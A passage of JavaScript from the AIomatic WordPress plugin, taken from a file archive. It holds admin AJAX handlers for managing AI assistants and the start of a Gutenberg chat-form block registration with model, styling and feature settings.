if(functions_str.includes('aiomatic_publish_linkedin')) { jQuery("#function_linkedin-edit").prop( "checked", true ); } jQuery('#aiomatic-assistant-functions-edit').val(functions_str); if(res.data['code_interpreter'] == true) { jQuery("#aiomatic-assistant-code-interpreter-edit").prop( "checked", true ); } else { jQuery("#aiomatic-assistant-code-interpreter-edit").prop( "checked", false ); } if(res.data['file_search'] == true) { jQuery("#aiomatic-assistant-file_search-edit").prop( "checked", true ); } else { jQuery("#aiomatic-assistant-file_search-edit").prop( "checked", false ); } jQuery('#aiomatic-assistant-code-interpreter-edit').trigger("change"); } else { alert('Incorrect response from the back end!'); } } else{ alert(res.msg); } }, error: function (r, s, error){ alert('Error in processing assistant editing: ' + error); } }); } }); jQuery(".aiomatic_sync_assistant").on('click', function(e) { e.preventDefault(); var assistantid = jQuery(this).attr("sync-id"); if(assistantid == '') { alert('Incorrect sync id submitted'); } else { var data = { action: 'aiomatic_sync_assistant', assistantid: assistantid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(jQuery('#aiomatic_sync_assistant_' + assistantid)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ alert('Error in processing assistant sync by id: ' + error); } }); } }); jQuery(".aiomatic_delete_assistant").on('click', function(e) { e.preventDefault(); if(confirm('Are you sure you want to delete this assistant?')) { var assistantid = jQuery(this).attr("delete-id"); if(assistantid == '') { alert('Incorrect delete id submitted'); } else { e.preventDefault(); var data = { action: 'aiomatic_delete_assistant', assistantid: assistantid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(jQuery('#aiomatic_delete_assistant_' + assistantid)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing assistant deletion: ' + error); location.reload(); } }); } } }); jQuery(".aiomatic_duplicate_assistant").on('click', function(e) { e.preventDefault(); if(confirm('Are you sure you want to duplicate this assistant?')) { var assistantid = jQuery(this).attr("dup-id"); if(assistantid == '') { alert('Incorrect duplicate id submitted'); } else { e.preventDefault(); var data = { action: 'aiomatic_duplicate_assistant', assistantid: assistantid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(jQuery('#aiomatic_duplicate_assistant_' + assistantid)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing assistant duplication: ' + error); location.reload(); } }); } } }); jQuery('#aiomatic_deleteall_assistants').on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to delete ALL assistants?')) { var btn = jQuery(this); aiomaticLoading2(btn); var data = { action: 'aiomatic_deleteall_assistants', nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery('.aiomatic-assistants-success').show(); jQuery('.aiomatic-assistants-content').val(''); setTimeout(function (){ jQuery('.aiomatic-assistants-success').hide(); },2000); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing assistant removal (all): ' + error); } }); } }); jQuery('#aiomatic_assistants_form').on('submit', function (e) { e.preventDefault(); var form = jQuery('#aiomatic_assistants_form'); var btn = form.find('#aiomatic-assistants-save-button'); var title = jQuery('#aiomatic-assistant-title').val(); if(title === ''){ alert('Please insert all required values!'); } else{ var data = form.serialize(); jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(btn); }, success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery('.aiomatic-assistants-success').html("Assistant saved successfully!"); jQuery('.aiomatic-assistants-success').show(); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing assistant saving: ' + error); } }); } return false; }); jQuery('#aiomatic_assistants_form-edit').on('submit', function (e) { e.preventDefault(); var form = jQuery('#aiomatic_assistants_form-edit'); var btn = form.find('#aiomatic-assistants-save-button-edit'); var title = jQuery('#aiomatic-assistant-title-edit').val(); if(title === ''){ alert('Please insert all required values!'); } else{ var data = form.serialize(); jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(btn); }, success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery('.aiomatic-assistants-success').html("Assistant updated successfully!"); jQuery('.aiomatic-assistants-success').show(); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing assistant saving: ' + error); } }); } return false; }); var aiomatic_assistant_button = jQuery('#aiomatic_assistant_button'); aiomatic_assistant_button.on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to load assistants from file?')) { var aiomatic_assistant_upload = jQuery('#aiomatic_assistant_upload'); if(jQuery("#aiomatic_overwrite").is(':checked')) { var overwrite = '1'; } else { var overwrite = '0'; } if(aiomatic_assistant_upload[0].files.length === 0){ alert('Please select a file!'); } else{ var aiomatic_progress = jQuery('.aiomatic_progress'); var aiomatic_error_message = jQuery('.aiomatic-error-msg'); var aiomatic_upload_success = jQuery('.aiomatic_upload_success'); var aiomatic_max_file_size = aiomatic_object.maxfilesize; var aiomatic_max_size_in_mb = aiomatic_object.maxfilesize / (1024 ** 2); var aiomatic_assistant_file = aiomatic_assistant_upload[0].files[0]; var aiomatic_assistant_file_extension = aiomatic_assistant_file.name.substr( (aiomatic_assistant_file.name.lastIndexOf('.') +1) ); if(aiomatic_assistant_file_extension !== 'json'){ aiomatic_assistant_upload.val(''); alert('This feature only accepts JSON file type!'); } else if(aiomatic_assistant_file.size > aiomatic_max_file_size){ aiomatic_assistant_upload.val(''); alert('Dataset allowed maximum size (MB): '+ aiomatic_max_size_in_mb) } else{ var formData = new FormData(); formData.append('action', 'aiomatic_assistant_upload'); formData.append('nonce', aiomatic_object.nonce); formData.append('overwrite', overwrite); formData.append('file', aiomatic_assistant_file); jQuery.ajax({ url: aiomatic_object.ajax_url, type: 'POST', dataType: 'JSON', data: formData, beforeSend: function (){ aiomatic_progress.find('span').css('width','0'); aiomatic_progress.show(); aiomaticLoading2(aiomatic_assistant_button); aiomatic_error_message.hide(); aiomatic_upload_success.hide(); }, xhr: function() { var xhr = jQuery.ajaxSettings.xhr(); xhr.upload.addEventListener("progress", function(evt) { if (evt.lengthComputable) { var percentComplete = evt.loaded / evt.total; aiomatic_progress.find('span').css('width',(Math.round(percentComplete * 100))+'%'); } }, false); return xhr; }, success: function(res) { if(res.status === 'success'){ aiomaticRmLoading(aiomatic_assistant_button); aiomatic_progress.hide(); aiomatic_assistant_upload.val(''); aiomatic_upload_success.show(); location.reload(); } else{ aiomaticRmLoading(aiomatic_assistant_button); aiomatic_progress.find('small').html('Error'); aiomatic_progress.addClass('aiomatic_error'); aiomatic_error_message.html(res.msg); aiomatic_error_message.show(); } }, cache: false, contentType: false, processData: false, error: function (r, s, error){ aiomatic_assistant_upload.val(''); aiomaticRmLoading(aiomatic_assistant_button); aiomatic_progress.addClass('aiomatic_error'); aiomatic_progress.find('small').html('Error'); alert('Error in processing assistants uploading: ' + error); aiomatic_error_message.show(); } }); } } } }); jQuery("#checkedAll").on('change', function() { if (this.checked) { jQuery(".aiomatic-select-assistant").each(function() { this.checked=true; }); } else { jQuery(".aiomatic-select-assistant").each(function() { this.checked=false; }); } }); var aiomatic_assistant_buttonx = jQuery('#aiomatic_assistant_default_button'); aiomatic_assistant_buttonx.on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to load the default assistants which come bundled with the plugin?')) { var data = { action: 'aiomatic_default_assistant', nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(jQuery('#aiomatic_assistant_default_button')); }, success: function (res){ if(res.status === 'success'){ alert('Default assistants loaded successfully!'); location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ console.error("AJAX Error: ", r); console.error("Status: ", s); console.error("Error: ", error); console.error('Detailed error: ' + r.responseText); alert('Error in processing assistant loading: ' + error); location.reload(); } }); } }); var codemodalfzr = document.getElementById('mymodalfzr'); var btn = document.getElementById("aiomatic_manage_assistants"); var span = document.getElementById("aiomatic_close"); if(btn != null) { btn.onclick = function(e) { e.preventDefault(); codemodalfzr.style.display = "block"; } } if(span != null) { span.onclick = function() { codemodalfzr.style.display = "none"; } } var codemodalfzr_backup = document.getElementById('mymodalfzr_backup'); var btn_backup = document.getElementById("aiomatic_backup_assistants"); var span_backup = document.getElementById("aiomatic_close_backup"); if(btn_backup != null) { btn_backup.onclick = function(e) { e.preventDefault(); codemodalfzr_backup.style.display = "block"; } } if(span_backup != null) { span_backup.onclick = function() { codemodalfzr_backup.style.display = "none"; } } var codemodalfzr_edit = document.getElementById('mymodalfzr-edit'); var span_edit = document.getElementById("aiomatic_close-edit"); if(span_edit != null) { span_edit.onclick = function() { codemodalfzr_edit.style.display = "none"; } } window.onclick = function(event) { if (event.target == codemodalfzr_edit) { codemodalfzr_edit.style.display = "none"; } if (event.target == codemodalfzr) { codemodalfzr.style.display = "none"; } if (event.target == codemodalfzr_backup) { codemodalfzr_backup.style.display = "none"; } } });�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/aiomatic-chat.js����������������������������������������������������������������������������0000644�����������������00000240372�14757771437�0011332 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; var editing_options = ''; if (Array.isArray(aiomatic_object.models)) { aiomatic_object.models.forEach(element => { editing_options += '<option value="' + element + '">' + element + '</option>'; }); } else if (typeof aiomatic_object.models === 'object' && aiomatic_object.models !== null) { Object.entries(aiomatic_object.models).forEach(([key, value]) => { editing_options += '<option value="' + key + '">' + value + '</option>'; }); } registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-chat', { title: 'AIomatic Chat Form', icon: 'text', category: 'embed', attributes: { temperature : { default: 'default', type: 'string', }, top_p : { default: 'default', type: 'string', }, presence_penalty : { default: 'default', type: 'string', }, frequency_penalty : { default: 'default', type: 'string', }, model : { default: 'default', type: 'string', }, enable_vision : { default: 'default', type: 'string', }, instant_response : { default: 'false', type: 'string', }, chat_preppend_text : { default: '', type: 'string', }, user_message_preppend : { default: '', type: 'string', }, ai_message_preppend : { default: '', type: 'string', }, ai_first_message : { default: '', type: 'string', }, chat_mode : { default: '', type: 'string', }, user_token_cap_per_day : { default: '', type: 'string', }, persistent : { default: '', type: 'string', }, prompt_templates : { default: '', type: 'string', }, prompt_editable : { default: '', type: 'string', }, placeholder : { default: '', type: 'string', }, submit : { default: '', type: 'string', }, select_prompt : { default: '', type: 'string', }, show_in_window : { default: '', type: 'string', }, window_location : { default: '', type: 'string', }, font_size : { default: '1em', type: 'string', }, height : { default: '100%', type: 'string', }, background : { default: 'auto', type: 'string', }, minheight : { default: '250px', type: 'string', }, user_font_color : { default: '#ffffff', type: 'string', }, user_background_color : { default: '#0084ff', type: 'string', }, ai_font_color : { default: '#000000', type: 'string', }, ai_background_color : { default: '#f0f0f0', type: 'string', }, input_border_color : { default: '#e1e3e6', type: 'string', }, input_text_color : { default: '#000000', type: 'string', }, persona_name_color : { default: '#3c434a', type: 'string', }, persona_role_color : { default: '#728096', type: 'string', }, input_placeholder_color : { default: '#333333', type: 'string', }, submit_color : { default: '#55a7e2', type: 'string', }, voice_color : { default: '#55a7e2', type: 'string', }, voice_color_activated : { default: '#55a7e2', type: 'string', }, submit_text_color : { default: '#ffffff', type: 'string', }, width : { default: '100%', type: 'string', }, ai_avatar : { default: '', type: 'string', }, user_avatar : { default: '', type: 'string', }, ai_role : { default: '100%', type: 'string', }, general_background : { default: '#ffffff', type: 'string', }, bubble_width : { default: 'full', type: 'string', }, bubble_alignment : { default: 'left', type: 'string', }, bubble_user_alignment : { default: 'right', type: 'string', }, show_dltxt : { default: 'show', type: 'string', }, internet_access : { default: 'show', type: 'string', }, embeddings : { default: 'show', type: 'string', }, show_mute : { default: 'show', type: 'string', }, show_internet : { default: 'show', type: 'string', }, show_clear : { default: 'show', type: 'string', }, overwrite_voice : { default: '', type: 'string', }, overwrite_avatar_image : { default: '', type: 'string', }, compliance : { default: '', type: 'string', }, chatbot_text_speech : { default: '', type: 'string', }, upload_pdf : { default: '', type: 'string', }, file_uploads : { default: '', type: 'string', }, custom_header : { default: '', type: 'string', }, custom_footer : { default: '', type: 'string', }, custom_css : { default: '', type: 'string', }, enable_god_mode : { default: '', type: 'string', }, assistant_id : { default: '', type: 'string', }, disable_streaming : { default: '', type: 'string', }, send_message_sound : { default: '', type: 'string', }, receive_message_sound : { default: '', type: 'string', }, response_delay : { default: '', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var temperature = props.attributes.temperature; var top_p = props.attributes.top_p; var presence_penalty = props.attributes.presence_penalty; var frequency_penalty = props.attributes.frequency_penalty; var model = props.attributes.model; var enable_vision = props.attributes.enable_vision; var instant_response = props.attributes.instant_response; var chat_preppend_text = props.attributes.chat_preppend_text; var user_message_preppend = props.attributes.user_message_preppend; var ai_message_preppend = props.attributes.ai_message_preppend; var ai_first_message = props.attributes.ai_first_message; var chat_mode = props.attributes.chat_mode; var user_token_cap_per_day = props.attributes.user_token_cap_per_day; var persistent = props.attributes.persistent; var prompt_templates = props.attributes.prompt_templates; var prompt_editable = props.attributes.prompt_editable; var placeholder = props.attributes.placeholder; var submit = props.attributes.submit; var select_prompt = props.attributes.select_prompt; var show_in_window = props.attributes.show_in_window; var window_location = props.attributes.window_location; var font_size = props.attributes.font_size; var height = props.attributes.height; var background = props.attributes.background; var minheight = props.attributes.minheight; var user_font_color = props.attributes.user_font_color; var user_background_color = props.attributes.user_background_color; var ai_font_color = props.attributes.ai_font_color; var ai_background_color = props.attributes.ai_background_color; var input_border_color = props.attributes.input_border_color; var input_text_color = props.attributes.input_text_color; var persona_name_color = props.attributes.persona_name_color; var persona_role_color = props.attributes.persona_role_color; var input_placeholder_color = props.attributes.input_placeholder_color; var submit_color = props.attributes.submit_color; var voice_color = props.attributes.voice_color; var voice_color_activated = props.attributes.voice_color_activated; var submit_text_color = props.attributes.submit_text_color; var width = props.attributes.width; var ai_avatar = props.attributes.ai_avatar; var user_avatar = props.attributes.user_avatar; var ai_role = props.attributes.ai_role; var general_background = props.attributes.general_background; var bubble_width = props.attributes.bubble_width; var bubble_alignment = props.attributes.bubble_alignment; var bubble_user_alignment = props.attributes.bubble_user_alignment; var compliance = props.attributes.compliance; var chatbot_text_speech = props.attributes.chatbot_text_speech; var upload_pdf = props.attributes.upload_pdf; var file_uploads = props.attributes.file_uploads; var custom_header = props.attributes.custom_header; var custom_footer = props.attributes.custom_footer; var custom_css = props.attributes.custom_css; var enable_god_mode = props.attributes.enable_god_mode; var assistant_id = props.attributes.assistant_id; var disable_streaming = props.attributes.disable_streaming; var show_dltxt = props.attributes.show_dltxt; var internet_access = props.attributes.internet_access; var embeddings = props.attributes.embeddings; var show_mute = props.attributes.show_mute; var show_internet = props.attributes.show_internet; var show_clear = props.attributes.show_clear; var overwrite_voice = props.attributes.overwrite_voice; var overwrite_avatar_image = props.attributes.overwrite_avatar_image; var send_message_sound = props.attributes.send_message_sound; var receive_message_sound = props.attributes.receive_message_sound; var response_delay = props.attributes.response_delay; function updateMessage( event ) { props.setAttributes( { temperature: event.target.value} ); } function updateMessage3( event ) { props.setAttributes( { top_p: event.target.value} ); } function updateMessage4( event ) { props.setAttributes( { presence_penalty: event.target.value} ); } function updateMessage5( event ) { props.setAttributes( { frequency_penalty: event.target.value} ); } function updateMessage6( event ) { props.setAttributes( { model: event.target.value} ); } function updateMessage7( event ) { props.setAttributes( { instant_response: event.target.value} ); } function updateMessage8( event ) { props.setAttributes( { chat_preppend_text: event.target.value} ); } function updateMessage9( event ) { props.setAttributes( { user_message_preppend: event.target.value} ); } function updateMessage10( event ) { props.setAttributes( { ai_message_preppend: event.target.value} ); } function updateMessage11( event ) { props.setAttributes( { ai_first_message: event.target.value} ); } function updateMessage12( event ) { props.setAttributes( { chat_mode: event.target.value} ); } function updateMessage13( event ) { props.setAttributes( { user_token_cap_per_day: event.target.value} ); } function updateMessage14( event ) { props.setAttributes( { persistent: event.target.value} ); } function updateMessage15( event ) { props.setAttributes( { prompt_templates: event.target.value} ); } function updateMessage16( event ) { props.setAttributes( { prompt_editable: event.target.value} ); } function updateMessage17( event ) { props.setAttributes( { placeholder: event.target.value} ); } function updateMessage18( event ) { props.setAttributes( { submit: event.target.value} ); } function updateMessage19( event ) { props.setAttributes( { show_in_window: event.target.value} ); } function updateMessage20( event ) { props.setAttributes( { window_location: event.target.value} ); } function updateMessage21( event ) { props.setAttributes( { font_size: event.target.value} ); } function updateMessage22( event ) { props.setAttributes( { height: event.target.value} ); } function updateMessage23( event ) { props.setAttributes( { background: event.target.value} ); } function updateMessage24( event ) { props.setAttributes( { minheight: event.target.value} ); } function updateMessage25( event ) { props.setAttributes( { user_font_color: event.target.value} ); } function updateMessage26( event ) { props.setAttributes( { user_background_color: event.target.value} ); } function updateMessage27( event ) { props.setAttributes( { ai_font_color: event.target.value} ); } function updateMessage28( event ) { props.setAttributes( { ai_background_color: event.target.value} ); } function updateMessage29( event ) { props.setAttributes( { input_border_color: event.target.value} ); } function updateMessage30( event ) { props.setAttributes( { submit_color: event.target.value} ); } function updateMessage50( event ) { props.setAttributes( { voice_color: event.target.value} ); } function updateMessage52( event ) { props.setAttributes( { voice_color_activated: event.target.value} ); } function updateMessage31( event ) { props.setAttributes( { submit_text_color: event.target.value} ); } function updateMessage32( event ) { props.setAttributes( { width: event.target.value} ); } function updateMessage33( event ) { props.setAttributes( { ai_avatar: event.target.value} ); } function updateMessage34( event ) { props.setAttributes( { ai_role: event.target.value} ); } function updateMessage35( event ) { props.setAttributes( { general_background: event.target.value} ); } function updateMessage65( event ) { props.setAttributes( { bubble_width: event.target.value} ); } function updateMessage66( event ) { props.setAttributes( { bubble_alignment: event.target.value} ); } function updateMessage67( event ) { props.setAttributes( { bubble_user_alignment: event.target.value} ); } function updateMessage68( event ) { props.setAttributes( { user_avatar: event.target.value} ); } function updateMessage36( event ) { props.setAttributes( { compliance: event.target.value} ); } function updateMessage37( event ) { props.setAttributes( { input_text_color: event.target.value} ); } function updateMessage38( event ) { props.setAttributes( { input_placeholder_color: event.target.value} ); } function updateMessage39( event ) { props.setAttributes( { persona_name_color: event.target.value} ); } function updateMessage40( event ) { props.setAttributes( { persona_role_color: event.target.value} ); } function updateMessage41( event ) { props.setAttributes( { show_dltxt: event.target.value} ); } function updateMessage54( event ) { props.setAttributes( { show_mute: event.target.value} ); } function updateMessage57( event ) { props.setAttributes( { show_internet: event.target.value} ); } function updateMessage42( event ) { props.setAttributes( { show_clear: event.target.value} ); } function updateMessage43( event ) { props.setAttributes( { enable_vision: event.target.value} ); } function updateMessage44( event ) { props.setAttributes( { assistant_id: event.target.value} ); } function updateMessage45( event ) { props.setAttributes( { overwrite_voice: event.target.value} ); } function updateMessage47( event ) { props.setAttributes( { overwrite_avatar_image: event.target.value} ); } function updateMessage46( event ) { props.setAttributes( { select_prompt: event.target.value} ); } function updateMessage48( event ) { props.setAttributes( { disable_streaming: event.target.value} ); } function updateMessage49( event ) { props.setAttributes( { chatbot_text_speech: event.target.value} ); } function updateMessage51( event ) { props.setAttributes( { enable_god_mode: event.target.value} ); } function updateMessage55( event ) { props.setAttributes( { internet_access: event.target.value} ); } function updateMessage56( event ) { props.setAttributes( { embeddings: event.target.value} ); } function updateMessage53( event ) { props.setAttributes( { upload_pdf: event.target.value} ); } function updateMessage58( event ) { props.setAttributes( { file_uploads: event.target.value} ); } function updateMessage59( event ) { props.setAttributes( { custom_header: event.target.value} ); } function updateMessage60( event ) { props.setAttributes( { custom_footer: event.target.value} ); } function updateMessage61( event ) { props.setAttributes( { send_message_sound: event.target.value} ); } function updateMessage62( event ) { props.setAttributes( { receive_message_sound: event.target.value} ); } function updateMessage63( event ) { props.setAttributes( { custom_css: event.target.value} ); } function updateMessage64( event ) { props.setAttributes( { response_delay: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic Chat Form ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to generate an AI chat.' ) ) ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Temperature: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.' ) ), gcel( 'input', { type:'number',min:0,step:0.1,placeholder:'AI Temperature', value: temperature, onChange: updateMessage, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Top_p: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.' ) ), gcel( 'input', { type:'number',min:0,max:1,step:0.1,placeholder:'AI Top_p', value: top_p, onChange: updateMessage3, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Presence Penalty: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model\'s likelihood to talk about new topics.' ) ), gcel( 'input', { type:'number',min:-2,max:2,step:0.1,placeholder:'AI Presence Penalty', value: presence_penalty, onChange: updateMessage4, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Frequency Penalty: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model\'s likelihood to repeat the same line verbatim.' ) ), gcel( 'input', { type:'number',min:-2,max:2,step:0.1,placeholder:'AI Frequency Penalty', value: frequency_penalty, onChange: updateMessage5, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Assistant ID: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the assistant you want to use for this chatbot. This will disable the model you select and use the model set in the assistant settings. This needs to be the numeric ID of the Assistant Post type you created in the plugin.' ) ), gcel( 'input', { type:'text',placeholder:'Assistant ID', value: assistant_id, onChange: updateMessage44, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Overwrite Text-to-Speech Voice ID: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the voice ID you want to use for text-to-speech for this chatbot. This needs to be exactly matching the voice ID of the text-to-speech engine you are using. For example, for OpenAI Text-to-Speech API, the voice IDs can be: alloy, echo, onyx, nova, fable, shimmer' ) ), gcel( 'input', { type:'text',placeholder:'Overwrite chatbot text-to-speech voice', value: overwrite_voice, onChange: updateMessage45, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Overwrite Text-to-Speech Voice ID: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the D-ID streaming avatar image for the chatbot. Send a valid URL to an image, which will be used as a seed for the interactive image avatar of the chatbot, created using D-ID streaming.' ) ), gcel( 'input', { type:'text',placeholder:'Overwrite chatbot video avatar image (D-ID streaming)', value: overwrite_avatar_image, onChange: updateMessage47, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Model: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the AI model you want to use to generate the content.' ) ), gcel( 'select', { value: model, onChange: updateMessage6, className: 'coderevolution_gutenberg_select', dangerouslySetInnerHTML: { __html: editing_options } } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Enable AI Vision: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you want to enable AI vision. Note that this is supported only by the latest AI models, which provide also Vision support.' ) ), gcel( 'select', { value: enable_vision, onChange: updateMessage43, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'off'}, 'off' ), gcel( 'option', { value: 'on'}, 'on' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Disable D-ID Streaming: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you want to disable D-ID streaming for this chatbot.' ) ), gcel( 'select', { value: disable_streaming, onChange: updateMessage48, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'off'}, 'off' ), gcel( 'option', { value: 'on'}, 'on' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Text-To-Speech/Video: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you want to enable/disable the text-to-speech/video feature of the chatbot.' ) ), gcel( 'select', { value: chatbot_text_speech, onChange: updateMessage49, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'off'}, 'off' ), gcel( 'option', { value: 'openai'}, 'openai' ), gcel( 'option', { value: 'elevenlabs'}, 'elevenlabs' ), gcel( 'option', { value: 'google'}, 'google' ), gcel( 'option', { value: 'did'}, 'did' ), gcel( 'option', { value: 'didstream'}, 'didstream' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Enable Chatbot God Mode: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you want to enable/disable the chatbot GOD MODE feature. This will allow ultimate control of your WordPress site, allowing it to call functions from WordPress directly. Using this feature, you will be able to create posts directly from the chatbot, assign taxonomies, images and many more! Warning! This is a BETA feature, use it with caution.' ) ), gcel( 'select', { value: enable_god_mode, onChange: updateMessage51, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'off'}, 'off' ), gcel( 'option', { value: 'on'}, 'on' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Enable Users To Upload PDF Files To The Chatbot: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you want to enable users to upload PDF files to the chatbot. This will require some prerequisites to function, please check the \'PDF Chat\' tab for details.' ) ), gcel( 'select', { value: upload_pdf, onChange: updateMessage53, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'disabled'}, 'disabled' ), gcel( 'option', { value: 'enabled'}, 'enabled' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Enable Chatbot User File Uploads Using AI Assistants File Search: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you want to enable file upload for the chatbot. Note that to use this feature, you will need an AI model which supports file search.' ) ), gcel( 'select', { value: file_uploads, onChange: updateMessage58, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'disabled'}, 'disabled' ), gcel( 'option', { value: 'enabled'}, 'enabled' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chatbot Custom Header Text: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set your own custom header text for the chatbot.' ) ), gcel( 'input', { type:'text',placeholder:'Add the HTML for a custom header for the chatbot', value: custom_header, onChange: updateMessage59, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chatbot Custom Footer Text: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set your own custom footer text for the chatbot.' ) ), gcel( 'input', { 